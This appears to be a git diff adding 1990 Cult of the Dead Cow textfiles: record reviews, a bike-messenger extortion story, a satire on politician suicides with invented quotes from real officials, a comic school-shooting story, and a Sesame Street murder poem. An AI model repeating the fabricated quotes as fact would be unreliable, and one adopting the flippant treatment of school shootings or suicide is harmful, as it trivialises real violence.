Sabine County", a tragic +re-working of an old Christmas classic. + + +JUDGE: Bringin' It Down (Revelation) + + Straight-edge hardcore (with two ex-YOUTH OF TODAY people), of course, wit +h metal tinges. Nothing too creative, but I have to say that I like it. They +are really good are at doing this stuff... the tight rhythm section, the mosh +parts in all the right places. Aside from the song "Like You", there's nothing +else that goes against the grain. Oh yeah, Revelation also released a +different version of this LP called "Chung King Can Suck It". Only 100 were +pressed. How they were distributed, I have no idea, but for what it's going +for, you'd probably have enough to buy the first 4-5 DISCHORD releases at their +present prices. + + +NEUROSIS: The Word As Law (Lookout) + + People tell me these guys sound like METALLICA, so maybe I should go out +and buy "And Justice For All..." because NEUROSIS is incredible. 8 songs +(ranging from 43 seconds to 7 minutes) talking about oppression and conformity +and stuff like that. Good production; it's slow, it's fast, more variety than +your average thrash album. Thrash is really too much of a limiting word for +something this good. + + +SCATTERBRAIN: Here Comes Trouble (In-Effect) + + Not a new band, but LUDICHRIST, who did two albums on Combat, with a new +rhythm section. So why did they change their name? Well, you can't very well +conquer MTV and get the opening spot on the next POISON tour with a name like +LUDICHRIST can you? Anyway, these guys aren't playing in hardcore venues, more +like the kind of places BRITNY FOX would hang out. But surprisingly enough, +they don't sound that different. A little slower, a little less harsh, but I +still think HC/Thrash people can enjoy them, even though I didn't go for their +goofy hard rock thing. Have to give credit to any band, however, that covers +CHEECH & CHONG and MOZART on the same album. + + +SOCIAL DISTORTION: self-titled (Epic) + + I was a little hesitant about buying this album. After all, the last big +hardcore album to be released on EPIC by SUICIDAL TENDENCIES didn't exactly +turn out so hot, if you know what I mean. But I went for this anyway. Well, +it most certainly is the least of the three SOCIAL DISTORTION albums, but it's +still very respectable. They slowed down, made it blusey, did even more "I'm +an outlaw in jail" type songs, but the fact is, it's still the same band, and +Mike Ness still is an awesome singer and guitar player. I will listen to this +in the future, and I hope they become as big as BON JOVI. + + +WARZONE: Warzone (Caroline) + + If you liked their last two albums, (which even with some screwy politics +were still great NYHC) I guarantee you will NOT like this. SLOW hard rock, +solid guitar playing, but it's just one long ZZZZZZ. They even thank one of +the guys from SKID ROW inside. It's interesting how they changed their entire +sound... now get it the fuck out of my face. + + _ _ _____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321 Demon Roach Undrgrnd..806/794-4362 + [ x x ] |NIHILISM.............415/285-9453 The People Farm.......916/673-8412 + \ / |Tequila Willy's GSC..209/526-3194 The Bombay............714/897-0412 + (' ') |Lunatic Labs.........213/655-0691 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by The Pusher. 05/17/90-#134 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0135.txt b/textfiles.com/groups/CDC/cDc-0135.txt new file mode 100644 index 00000000..b2efdabf --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0135.txt @@ -0,0 +1,104 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Trickledown + by Josh Whalen + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + It was about six weeks after I started riding for Blitzkrieg that the +inevitable happened. I was carrying about three runs, one rush and one +oversize, all going pretty far south, a good twenty-five dollars worth of work, +good money. It wasn't even noon yet and I was already holding like twelve +tickets, it was turning out to be my best day yet. I was cutting cross town on +fifty-fourth street, hitting all the lights just as they were turning green, I +was really hellbent. I came up on fifth avenue, heading west, the light turned +to green just as I entered the cross walk. I saw a cab blow the intersection +just before I entered it myself, just a few fractions of a second earlier and +we would have tested several laws of physics. I didn't see the limousine +behind him run the red light on fifth until after it had relieved me of my +front wheel. + + Just like that! I felt, I don't know, a tug on the front fork. The next +thing I knew, the whole bike whipped around and slid sideways into the side of +the limousine. I threw myself back, off the bike, back into the cross walk +when I felt the bike begin to whip, and that was what saved me. The limousine +fled, only to be caught at the next light by traffic. I was seething with +adrenaline, boiling mad, like only combat troops ever get, I imagine. I +grabbed up the wreckage of the bike, threw it over my shoulder, and chased the +limo down on foot. A crowd had gathered; this was a busy intersection with +lots of pedestrians all rubber-necking the scene. They'd all seen what +happened. People in midtown hate bike messengers in general; we come out of +nowhere silently, not like a car with its noisy engine declaring its presence a +block in advance. We scare them, with our close passing. "Plenty of room" to +a skilled fix-wheel rider is a hairs' breadth to some pedestrian investment +trader. They'd seen what had happened, though, and I'd had the light. For +once it was obviously not the biker's fault. They were all yelling as I pulled +out my bike lock, a big horseshoe of hardened steel, and pulled open the +drivers door before he could lock it. People were shouting, "Do it!" and "He +ran the light! Don't let him go! Hold him 'till the cops get here!" If +there's anything people hate worse than a bike messenger, it's a hit and run +driver. I was breathing hard and sweat was pouring down my face, I must have +looked like a real berserker. I held the lock back on one hand like I was +ready to brain the driver with it and thundered at him: "All right, pal, we can +do this one of three ways. We can sit here blocking traffic and wait for the +cops to show, and for them to lock you up for hit and run and running a red +light, or, I can dismantle you and your car with my lock, or, you can +compensate me right now for my bike and the loss of a day's pay, and I'll just +hail a cab and go home and you can go on your way. What'll it be?" He looked +at me with blank eyes for just a moment, but I was all accelerated, my time +sense wound up by several orders of magnitude, it seemed like he took way too +long, so I kicked the side of the car and shrieked, "WELL?" He reached into +his jacket and took out his wallet, threw its contents on the street, slammed +the door and took off into traffic. I picked up the money, counted a hundred +and ten dollars. Someone in the crowd said, "Hey! He's gettin' away!" I +smiled and said, "It's alright, he paid me." I dragged the bike over to the +corner, called in to my dispatcher and told him what had happened. + + The first thing he wanted to know was if the packages were damaged, and I +reassured him they were fine. Then he asked, "D'you catch the guy?" + + "Yeah," I said. + + "Did he pay you?" + + "Yeah," I said. + + "How much?" + + I told him. + + "Good work," he said, "as long as he paid you." + + I was back on the road bright and early the next day. The new bike only +cost me fifty bucks, so I figured I came out ahead. + + _ _ _____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321 Demon Roach Undrgrnd..806/794-4362 + [ x x ] |NIHILISM.............415/285-9453 The People Farm.......916/673-8412 + \ / |Tequila Willy's GSC..209/526-3194 The Bombay............714/897-0412 + (' ') |Lunatic Labs.........213/655-0691 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1990 cDc communications by Josh Whalen. 05/17/90-#135 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0136.txt b/textfiles.com/groups/CDC/cDc-0136.txt new file mode 100644 index 00000000..82be5213 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0136.txt @@ -0,0 +1,132 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Coming of Angels + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + It was raining again. It always seemed to be raining those days. The +stinging of the raindrops on my bare skin had long since become just another +minor annoyance. My boots were smoking from the acid puddles when I walked +into the etched grey building. + + The door swung open at the touch of my hand. I walked into the dimly +lit foyer and stopped for a moment while my eyes adjusted to the lack of light. +There are times that I wished that my eyes would quit adjusting - to quit +looking. The lobby would have been dressed in a victorian fashion had it not +been for the passage of time. The carpeting which had been a rich thick red +had become a matted brown color, much like the color of dried blood. + + One glance at the occupants of the lobby was more then I cared for. I +walked across the floor to the elevators. At least the elevators still worked, +though nothing else around here seems to. The lights in the elevator were out, +all except the glowing numbers that illuminated the elevator in a murky +crimson. + + The 23rd floor came up fast. Being the only one on the elevator, I +felt relieved. Sharing an elevator with someone usually ended in a fatality. +The doors slid open, revealing the 23rd floor. I walked down the familiar +hallway, stepping over the body of my junkie neighbor, who had apparently shot +up for the last time. She left her apartment door open, so I casually glanced +in both directions and snuck inside. I searched the room for something with +any value at all, but there was nothing. I suppose that I should have known, +her being a junkie and all, but you never knew anymore. At least I got the new +TV Guide. + + I walked into my apartment after having unsealed the lock and turned +off the security systems. The climate control kept the small apartment warm +and dry, the way I like it. I carefully removed my outdoor clothing and put +them in the cleaning closet, can't take too many chances with the acid. The +television clicked on as I sat down in the old easy chair I found in an antique +shop several years ago. There was nothing of interest on the tv, so I told it +to turn off- it refused. Having been completely pissed off by the latest in +consumer electronics, I stood up, ran across the room, and kicked a hole in the +screen. That took care of the video, but for some reason the audio kept +playing so I kicked it again, finally destroying it. + + The smoke dissipated as time lurched forward, silence had been achieved +for the first time in the day. It was a strange feeling, the feeling of +nothingness. The feeling always passes, however as the ears adjust to the +myriad sounds of silence. The floor was as good of a resting place as anywhere +in this place. The thud as my body hit the floor was heard by no one, the +decay had begun. + + --- + + The world is swarming with inventions of every kind. The rate of +technological improvement is beginning to slow down. The innovations of the +past are not all that easy to come by anymore. The universe regulates the flow +of information, too much information and the universe hides her secrets from +you. It has been argued that the slow down in the acquisition of new data is +good, gives us time to think about what we already know. I don't think so. I +think that something should be learned from everything. The world is gone. +All that is left is us. We are dying everyday. We can't seduce anymore tricks +from Mother Nature, we've done nothing of lasting value. + + When the dancing of angels finally comes to rest, and the divine +beauties remove their toe-shoes, the blackness returns to fill the room. The +brightness of the event loses intensity as they return to their gilded towers. +That is where we are, we are in the aftermath of angels. The stunning +brightness that was mankind draws to a close. Unlike the angels, however, +mankind does not gracefully make its exit. The angels knew. The time had come +for them to leave and they did. We cling like children to the fantasy of +reality. There is none. What a fucking crude lot we are. + + --- + + The time for the decay was here. The synapses grew apart, the dna fed +upon itself. It is the worm that turns, the quiet revolt of the body. It is +not to be feared, as I was later to find out, but to be embraced. + + In pain there is understanding. The spiritual realization can only +come through intense agony. There is no escaping it. On the day I died I was +also born. I became what I never thought I could be. There were many others +with me, a minuscule number compared to the whole of the population. There is +a natural weeding out in cases like this, I suppose. + + We watched from afar the comings and goings of our former race. We +could see the fleshhooks of chaos dig into the flesh of the people. We could +taste the pain of loved ones dying. When the time came, not very long after +the beginning, we stole the dying breath of our people. The others began their +ascent to the new lands, I could not. The last of my kind exited this +universe and the gateway was closed. + + I was alone. I could feel nothing but the cold emptiness of the vacuum +embracing me. A tear was dropped from my eye as I wondered why I could not +leave with my brothers and sisters. The tear floated away, blossoming into the +seed of a new people, a people unlike the rest. I watched as they crawled from +their wombs; I nurtured them until they could stand alone. I realized then why +I was left behind. I am angel... no... I am God. + +"And When You Tell Lies An Angel Dies" + -Severed Heads + _ _ _____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321 Demon Roach Undrgrnd..806/794-4362 + [ x x ] |NIHILISM.............415/285-9453 The People Farm.......916/673-8412 + \ / |Tequila Willy's GSC..209/526-3194 The Bombay............714/897-0412 + (' ') |Lunatic Labs.........213/655-0691 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Obscure Images. 5/8-05/17/90-#136 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0137.txt b/textfiles.com/groups/CDC/cDc-0137.txt new file mode 100644 index 00000000..6aa3154c --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0137.txt @@ -0,0 +1,136 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Mourning in America + by Steve Ross + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + On January 10, 1986, Queens Borough President Donald Manes was found in a +car parked in a vacant lot, his ankles slashed by a knife. Observers generally +considered his actions an attempt at suicide. Then on March 13, Donald Manes, +indicted for bribery, pushed a 13-inch butcher's knife through his heart. That +knife sliced public opinion into two factions: those who felt this was just a +"copy-cat" suicide, since the second incident followed the first so closely, +and those who viewed it as a separate incident, perhaps the beginning of an +epidemic. + + "C'mon, if it wasn't a copy-cat then why'd he use a knife again?" said +former Bronx Democratic Leader Stanley Friedman. + + "Existing statues imply that a copy-cat, to be recognized as such, must be +copying the actions of another person," said U.S. Attorney Rudolph Giuliani. +"We see no precedent for this." + + Then on January 22, 1987 R. Budd Dwyer, the State Treasurer of +Pennsylvania who'd been convicted of bribery weeks earlier, put a .357 Magnum +in his mouth and, as before television and newspaper cameras, pulled the +trigger. Many of the copy-cat ideologies felt vindicated. "Manes used a knife +-- an implement of eating," said Stanley Simon, Bronx Borough President. +"Dwyer merely picked up the metaphor and added his own personal touch." But +most observers agreed that Dwyer's suicide marked a definite epidemic -- a +viewpoint confirmed two weeks later when Robert "Bud" McFarlane attempted +suicide with a handful of Valium. + + The occurrence of politician suicides has tripled in the past five years +and now ranks as one of the primary causes of death among politicians. In +fact, the reported rate of suicide may actually be less than the true figure, +since citizens have grown increasingly unconcerned and may not be reporting the +deaths of their representatives. + + In order to stem the outbreak of politician suicides, psychologists have +attempted to identify its leading causes. Some studies pinpoint insincerity, +characterized by "effervescent" smiles and back-slapping, as a potentially +dangerous behavior problem. Other studies show that a long-standing history of +conflict between the politician and his or her constituents may be a possible +factor. All studies indicate that politicians called "Bud" are in the greatest +danger. Felony indictments also seem to be related. + + Psychologists have developed a set of warning sighs that indicate when a +politician may warrant concern. These signals include: + + --searching rooms for electronic devices upon entering + --late night telephone calls + --preferring public pay phones over one's home phone + --a preoccupation with banks, bankbooks and bank records + --carrying a passport at all times. + + "His concern about the issues just waned and waned," said Wayne Kelly, a +personal friend of Dwyers who prefers to remain anonymous. "He took to +drinking -- Shirley Temples, Kool-aid, even Bosco. Then he began picking up +stray objects and trying to fit them into his mouth. We didn't know why until, +well, it was too late." + + While there are no foolproof methods for eradicating politician suicides, +concerned professionals have reached a consensus that something should, they +guess, be done. Bronx Borough President Stanley Simon agrees with the White +House policy of allowing politicians unrestricted freedom in their political +activities, theorizing that "politicians, like people, would act with [greater] +responsibility if only they were given greater responsibility." Simon hopes to +take his message to the streets, as soon as his indictment for bribery is +resolved. A group of teenagers in Bergenfield, New Jersey believes that the +media attention granted to politician suicides creates a "poisonous atmosphere" +of positive reinforcement; under the name "The Garage Gang" they have launched +a lobbying campaign to keep the media out of politics. And a support network +for politicians who have no place else to turn has been established by Friends +Of Politicians (FOPs). The assistance provided by the FOPs network includes +24-hour paper shredding services and a toll-free crisis hotline +(1-800-POL-DONT). + + One method seems to have had the greatest impact in deterring politician +suicides. The three-point program developed by G. Gordon Liddy in his book +FEEL NO PAIN, SCUM is based on DETECTION, ATTENTION, and TREATMENT and utilizes +the following outline: + + --Early DETECTION of your representative's emotional vulnerability and +susceptibility to escapist actions. "The time to look for such signals," Liddy +writes, "is after the subpoenas have been served but before the verdict is +returned." + + --Devote ATTENTION and time to your representative. Since politicians, +unlike mobsters, are usually found guilty, the most practical and useful +attention is spent on guided tours of Club Feds -- penal institutions for +wealthy white collar criminals. "As a worst case scenario these leave little +to be desired, offering everything from monogrammed Izod uniforms and haute +cuisine to tennis courts, polo fields and olympic-size pools." + + --If the attention doesn't work then Liddy recommends a stop-gap TREATMENT +of physical and verbal abuse. Liddy writes: "Lily-livered wimps who think +there's an easy way out of anything must be shown the error of their ways." + + But the only real cure for politician suicides is prevention. As +President Reagan noted, "I, uh, well, uhm, heh-heh." White House spokesman +Marlon Fitzwater interpreted this statement as: "If your peers ask you to enter +politics: say no. If your children are thinking about it: seek counseling for +them. And if someone you care about is already involved in politics: show them +you care, but keep it well documented." + + _ _ _____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321 Demon Roach Undrgrnd..806/794-4362 + [ x x ] |NIHILISM.............415/285-9453 The People Farm.......916/673-8412 + \ / |Tequila Willy's GSC..209/526-3194 The Bombay............714/897-0412 + (' ') |Lunatic Labs.........213/655-0691 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1990 cDc communications by Steve Ross. 05/17/90-#137 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0138.txt b/textfiles.com/groups/CDC/cDc-0138.txt new file mode 100644 index 00000000..511f1721 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0138.txt @@ -0,0 +1,319 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Life Sentence + by The Pusher + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Sidestepping the body, I continued forward. + + The hunt was on. + + And I'm not the hunter. + + They don't think I know what I'm doing, but I'm doing great so far. +Anything less than great, and I'd be dead. You could ask the guy behind me how +I'm doing, except he'd have a little trouble responding. His head has vacated +his body. + + I'm running now, down halls I've ventured through many times before. I +stop to look at a clock. When it hits 2:05, it's more than just the end of a +day, it means you're one day closer than you were yesterday to finishing your +sentence. + + His footsteps are in the distance. A quick jump around the corner +provides my temporary hiding place. + + I don't know what I'm doing, eh? + + I've seen every Chuck Norris movie, so better you believe I know what I'm +doing. + + Guns, teenagers, and high school. + + It'd make a great TV show, wouldn't it? + + ______________________________________________________________________________ + + + Is there anything scarier than being the new kid in school? I've been on +the fastest roller coasters, seen the most frightening horror movies, visited +the slums of the world, but nothing compares to Day 1 in your new school. As +luck would have it, I've been the new kid more than once. I was born in Orange +County, California. You probably expect me to say that my dad left as soon as +I was born. He didn't. He left as soon as he was finished with my mom in the +back seat of his car. So I grew up in a single parent household. We moved +around quite a bit, and now we're in a middle class community called Stepferd. +You see, my mom decided that unless I lived in a nice place, I would grow up to +be a loser like my Daddy (God damn his soul). So she went to night school, +took some courses, and got a degree in Business Administration. As a result, +my mother is now assistant manager in a shoe factory in Stepferd. Her dreams +were attained. A nice house, a nice neighborhood, a nice school for her child. + + Yes siree, that school certainly was nice. + + + * * * * * * * * * * * * + + + "Get your face out of there," said the jerk. + + I don't why he's yelling at me, the lab period is in full swing, the +morons are throwing crucibles at each other, the girls are screeching, "Oh my +God!" a lot (so you know the gossip is heavy-duty), but I guess my snooping +around the boxes piled on his desk wasn't too appealing to him either. It's +always good to look around the science lab for goodies. There's always some +stoner dude looking for something to eradicate his brain cells, and they don't +mind paying for it. Something very unusual happened next. + + "Conformity." + + It was amazing, one word from a teacher counting the days 'till retire- +ment, and the class... well, it just blew my mind how they put down their water +bombs and meter sticks, and shuffled like zombies over to their desks and sat +down. I mimicked their movements more out of curiosity than any need to ride +the docile wave that now surrounded the class. I thought about what just taken +place. What got into those kids? And more importantly, will it get into me? + + I'd be lying if I said that what happened in Chemistry was the first sign +of weirdness I witnessed at Stepferd High. + + It was just so obvious to me. People walked around the halls, with a +glazed look in the eyes. As if they had all been on drugs. Sure, there was +the usual horseplay and retards roaming the halls, but there was a very +unnatural aura surrounding Stepferd High. + + + * * * * * * * * * * * * + + + A few months after we arrived in Stepferd, my mother asked, "How are you +enjoying Stepferd?" + + "Ok, I guess." + + "Have you made any new friends?" + + "Not really, I haven't found many people with the same interests as me." + + "Well, we all know how dissimilar you are. But give it some time, you'll +soon mesh right in." + + There was something else at Stepferd that bothered me. I've been pretty +incompatible with my fellow youth throughout my life, but at every school I've +done time, there was always some sort of "weirdo class". Punks, skinheads, +skaters, hackers, garbageheads, freaky-looking dudes, those were the people I +hung out with. Well at Stepferd High there are none of these people. Every +single person at my new school is just "the boy next door", regular guy, John +Q. Public type. You know, Reeboks, polo shirts, jeans, nice short and orderly +haircuts. I, on the other hand, wore steel-capped boots, scummy loose-fitting +pants, t-shirts presenting the most obnoxious and crude bands known to man, and +to top it all off, I had my head shaved on both sides with a nice bush of spiky +red hair in the middle. Yet, not one person came up to me, not EVER, and said, +"Hey, nice hair, faggot." Not one teacher asked me, "Are you trying to make a +statement?" You would assume it'd be nice to not go through this abuse for +once, but people are SUPPOSED to say this stuff, and the lack of it alarmed me. + + + * * * * * * * * * * * * + + + Days turned into weeks, weeks into months, months into increasing +paranoia. + + If there ever was a non-entity, I'm it. My teachers don't call on me in +class, they don't return my papers, they haven't confronted me about my usual +shaky attendance rate, my classmates look through me, I'm not there. At home, +it's the same. My mom has forgotten about her son. You may be asking your- +self, why do I go on? Why don't I just leave? That's my main thought every +second of every day, but I just can't leave. I can't explain it, but there's +some sort of metaphysical damnation drawing me back to that school day after +day after day after day.... + + By the way, I think I'm losing my mind. + + + * * * * * * * * * * * * + + + I'm in a club. There're lights shredding my head into little pieces. The + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +music is disco drek, bass heavy. It's the type of club rich kids pay $13.00 to + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +get in, because it's the "cool place". Why am I here? I hate this music! Why + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +would I waste the money. Jesus, I don't know how I got here. I can't remember + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +being anywhere but here. My brain is disintegrating with each thump of the + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +bass. Please make it stop. There are people moving around me, creeping around + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +me, they're not saying anything. They're just creeping, and creeping, and now + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +they're strolling towards me. They're looking towards me, glaring at me, + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +scattering me throughout this trendo-jerkola dance sanctuary. Why can't I + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +talk? I know words, why won't they come out? God, make this stop! + CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY, CONFORMITY +Conformity, yah.... + + Wake up. Put on clothes. Brush teeth, brush hair. Go downstairs. Eat +breakfast. Take pill. Go to school. Smile, be polite, do work. Take pill. +Come home. Do homework. Take car. Have fun. Come home. Eat dinner. Go to +sleep. + + Wake up. Put on clothes. Brush teeth, brush hair. Go downstairs. Eat +breakfast. Take pill. Go to school. Smile, be polite, do work. Take pill. +Come home. Do homework. Take car. Have fun. Come home. Eat dinner. Go to +sleep. + + Wake up. Put on clothes. Brush teeth, brush hair. Go downstairs. Eat +breakfast. Take pill. Go to school. Smile, be polite, do work. Take pill. +Come home. Do homework. Take car. Have fun. Come home. Eat dinner. Go to +sleep. + + Wake up. Put on clothes. Brush teeth, brush hair. Take pill. WHERE IS +PILL? Take pill. WHERE IS PILL? Take pill. WHERE IS PILL? Take pi- + + I'm free. Thanks to my mom's absent-mindedness, she forgot the pill. +They got me with the disco music, and now these pills. It's time to take care +of business. I will do what I want, when I want, where I want. + + Why? + + 'Cause I've gone insane, that's why. + + + * * * * * * * * * * * * + + + As a result of my "gang" phase a few years back, I picked up an automatic +sub-machine gun. I don't know what it's called or how to take care of it. All +I know is that it shoots bullets really fast. + + "Please... they said it wouldn't harm you. Just make you more +manageable... oh God, don't hurt me, I did it for you. I wanted you to be a +nice boy, what's wrong with being normal for once. Do you have go against all +set standards every second of every day?" + + Mom had some good points there. I was quite befuddled. + + So I shot her. + + Unfortunately, I tried to look cool while pulling the trigger, so rather +than splattering my mom's brains against the wall, I missed entirely and shot +the refrigerator. + + Oops. + + I was pretty impressed with her next move. Rather than start whimpering +against the wall, she bolted out of there. I'm proud of you, Mom. + + + * * * * * * * * * * * * + + + I'm in English class. He asks, "Who do you think is the most treacherous +character in the book?" + + I stood up. + + "Gatsby, of course," was my answer. + + This time I didn't miss. + + The class made a rush for the door. This wasn't all that surprising to +me, I suppose it's the logical reaction to seeing your teacher's brains on his +desk. + + + * * * * * * * * * * * * + + + Walking down the hallway holding a deadly weapon, I feel like The +Terminator. Or is that Roger Rabbit? I can't recall the difference anymore. +I'm heading for the assistant principal's office. They're not expecting me. + + "Well, Tex, you got a whole lotta explainin' to do," said the daring young +liberator in his best John Wayne drawl. + + "Hmm... I should have known there would be some bugs in the system," +responded the bad guy, AKA The Assistant Principal. + + "Villainous foe, I think you should tell me what you have been doing to +these poor children," said the crusader for free will. + + He sighed. Twice. "If I must... though like the average teenager, you're +probably too stoned to understand anything anyway." + + He had me there. Before embarking on my current mission, I gulped down a +dozen Flintstone vitamins. Ok, I'm lying, they were amphetamines. The +corrupter of mind and body continued his speech. + + "You stupid immature twit, can't you see we're doing this for you? +American academics are so competitive, we decided our students needed a little +edge. So one father discovered that a certain tranquilizer pill, when mixed +with a certain liquid, can leave the user open to subliminal suggestions. +Guess what that liquid is? Beer! Ironic isn't it? Their "way of life" is +making them into Ivy League students! And us... we are truly a SCHOOL OF +EXCELLENCE! Hear those footsteps outside the hall? That's the Board of +Education Death Squad. You're gonna be getting more than 2 detentions. God, +do I hate kids...." + + Uh-oh. Unexpected plot twist. But don't worry, buckaroos, I got +everything under control. + +______________________________________________________________________________ + + + Hah! Some Death Squad. Anyone who grows one side of their hair longer to +cover their balding pate can't be that tough. It's just me and him now. Him, +the assistant principal, and I, the disruptive student. I think the locker +room is a good place to make my last stand. + + I hear his footsteps. He knows I'm in here. My finger's on the trigger, +I'll shred to him pieces if he gets in the right place. + + "Come and get me, slimeball!" Why'd I just scream that? Damn drugs. + + It's show time. I duck and roll, and come up firing. He's not there, I +kill a tackling dummy. My back explodes in pain. Why? Because he's behind +me, shooting me to pieces. + + My face is sucking the floor, blood is spreading all over, ruining my +complexion. Ah ha! Down but not out! I know if I shoot that doo-hickey over +there, the entire school will blow up, giving me victory even in death! + + But will it look good on my record? + + _ _ _____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321 Demon Roach Undrgrnd..806/794-4362 + [ x x ] |NIHILISM.............415/285-9453 The People Farm.......916/673-8412 + \ / |Tequila Willy's GSC..209/526-3194 The Bombay............714/897-0412 + (' ') |Lunatic Labs.........213/655-0691 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by The Pusher. 05/17/90-#138 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0139.txt b/textfiles.com/groups/CDC/cDc-0139.txt new file mode 100644 index 00000000..86f6c923 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0139.txt @@ -0,0 +1,225 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Bert: The Poem + by Racer X + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + This file is dedicated to the late Jim Henson, a man who always managed to +entertain both children and adults. He was best known as the creator of the +Muppets (R) and Sesame Street (R) and for giving life to such characters as +Kermit the Frog (R), Rowlf (R), Waldorf (R), Dr. Teeth (R) and Ernie (R). +Jim died on the morning of Wednesday, May 16, 1990 of a severe infection due to +an overlooked case of pneumonia. Thanks for all the laughs, Jim.... + + --Racer X + "It ain't easy bein' green." + ______________________________________________________________________________ + + +He creeps down the hallway +Monobrow +Head like pineapple +Mind chock full o' vengeance +Body of foam + He lurks + and lurks + and lurks +Dew forms 'tween his turtleneck and skin +He clenches two fists of animosity +He arrives at the door - a murderous courier + and mutters to himself + "This is it. + I have to do it." +With + a + slow + sweep +His foot pushes the door +gently ajar +The soft hallway light frolics +across the face of his prey +The delicate orange sponge +covered only by a sheet +Innocence +The prowler contemplates + and conceives +a multitude of homicidal acts + in his already damaged brain +"How can I lynch this criminal? +I could play butcher and then play doctor + Heh + Heh + Heh +I could just knife 'im a few hundred times +Poison, nah... + I'll choke him +No + Suffocation + Asphyxiation +I'll cut his damn head off +Crucify him + Crucify him for HIS sins +Electrocution. Quick. Painless. +Wait, I want the sucker to feel it. +I could burn the son of a bitch +Set his goddamned bed ablaze +Make him suffer + Suffer + Colombian necktie +I'll ring tears from his plastic eyes +Never sorry before +You'll be sorry now." +The nightstalker freezes +Orange eyelids expose unconscious eyes +Blurr blurr +Coned silhouette in doorway +The sleeper asks, + "Who is it? + ' Somebody there?" +A violent leap +Yellow meets orange in a clash +The life-burglar darts atop the sleeper +pinning him to the warm bed +Yellow foam hands squeeze into fists + "Bert, what are you doing?! + Are you crazy?!" +The hammers are raised +The killer reminisces his motives +"This is for everything you've ever done to me!" +POUND +"This is for the time you filled our apartment up with water + because you left the bath running!" +STRIKE +"Remember my purple hand? + Here's one for that!" +BEAT +"Remember when you played tag with an involuntary me?! + Now you're it!" +WACK +"You're it!" +THWACK +"And this one's for 